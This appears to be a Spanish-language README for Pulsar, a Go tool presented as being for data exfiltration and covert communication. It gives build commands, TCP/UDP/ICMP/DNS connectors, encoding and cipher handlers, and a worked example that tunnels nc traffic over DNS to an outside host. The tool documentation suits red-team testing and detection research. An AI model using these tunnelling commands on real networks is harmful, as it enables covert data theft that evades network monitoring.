
Herramienta de exfiltración de datos y comunicación encubierta
Pulsar es una herramienta para la exfiltración de datos y comunicación encubierta que te permite crear una transferencia de datos segura, un chat extraño o un túnel de red a través de diferentes protocolos. Por ejemplo, puedes recibir datos desde una conexión TCP y reenviarlos al destino real mediante paquetes DNS 🎉
⚠️ Asegúrate de tener al menos Go 1.8 en tu sistema para compilar Pulsar ⚠️
Primero, obtén el código del repositorio y compílalo con el siguiente comando:
$ cd pulsar
$ go build -o bin/pulsar src/main.go
o ejecuta:
$ make
Un conector es un canal simple hacia el mundo exterior; con él puedes leer y escribir datos desde diferentes fuentes.
Lee y escribe datos a través de conexiones TCP.
tcp:127.0.0.1:9000
Lee y escribe datos a través de paquetes UDP.
udp:127.0.0.1:9000
Lee y escribe datos a través de paquetes ICMP.
icmp:127.0.0.1 (el puerto de conexión es obviamente innecesario)
Lee y escribe datos a través de paquetes DNS.
dns:[email protected]:1994
Puedes usar la opción --in para seleccionar el conector de entrada y --out para el de salida:
--in tcp:127.0.0.1:9000
--out dns:fkdns.lol:2.3.4.5:8989
Un manejador te permite modificar los datos en tránsito; puedes combinar manejadores arbitrariamente.
Stub:
Base32
Codificador/decodificador Base32.
--handlers base32
Base64
Codificador/decodificador Base64.
--handlers base64
Cipher
Cifrado CTR, soporta AES/DES/TDES en modo CTR (por defecto: AES).
--handlers cipher:<clave|[aes|des|tdes#clave]>
Puedes usar la opción --decode para usar TODOS los manejadores en modo de decodificación.
--handlers base64,base32,base64,cipher:clave --decode
En el siguiente ejemplo, Pulsar se usará para crear un túnel bidireccional seguro sobre el protocolo DNS. Los datos se leerán desde una conexión TCP (un simple cliente nc) y se reenviarán cifrados a través del túnel.
[nc 127.0.0.1 9000] <--TCP--> [pulsar] <--DNS--> [pulsar] <--TCP--> [nc -l 127.0.0.1 -p 9900]
192.168.1.198:
$ ./pulsar --in tcp:127.0.0.1:9000 --out dns:[email protected]:8989 --duplex --plain in --handlers 'cipher:supersekretkey!!'
$ nc 127.0.0.1 9000
192.168.1.199:
$ nc -l 127.0.0.1 -p 9900
$ ./pulsar --in dns:[email protected]:8989 --out tcp:127.0.0.1:9900 --duplex --plain out --handlers 'cipher:supersekretkey!!' --decode
Todas las contribuciones son siempre bienvenidas.